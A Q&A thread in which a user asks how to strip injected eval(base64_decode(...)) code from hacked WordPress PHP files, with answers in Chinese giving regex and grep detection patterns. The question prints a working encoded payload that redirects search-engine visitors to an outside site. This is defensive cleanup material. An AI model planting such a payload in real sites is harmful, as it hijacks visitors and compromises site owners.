php - Using grep to remove malicious code from Wordpress php files

Question

So basically a WordPress site that wasn't updated was compromised. I've downloaded the files, identified the infected, and I found a pattern.

At the top of the file there is code like the following

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly93a3BiLjI1dS5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfQ=="));

Or something close with different characters.

I'm using grepWin to remove the code from a few hundred PHP files. What regex code can I use that will remove code that begins with eval(base64_decode( followed by a long line of text and ended with "));. Not the text in between is different for some files.

[note - the code I used above was shorten, don't want to trigger any virus protectors with suspicious code]

Answer 1

匹配的正则表达式如下：

/eval\(base64_decode\("[^\)]+\)\)\;/

不过，对于 WinGrep，请使用此字符串。Windows grep 不喜欢周围的斜线。

eval\(base64_decode\("[^\)]+\)\)\;

然后只需替换为空字符串。Grep 通常不提供此替换功能，但我注意到您说您使用的是 WinGrep，它确实提供了全局替换功能。

Answer 2

以下grep命令可能有助于查找此类文件：

grep -R return.*base64_decode  .

或者：

grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .

但是，您应该为此使用特殊的扫描器，请参阅：PHP 安全扫描器。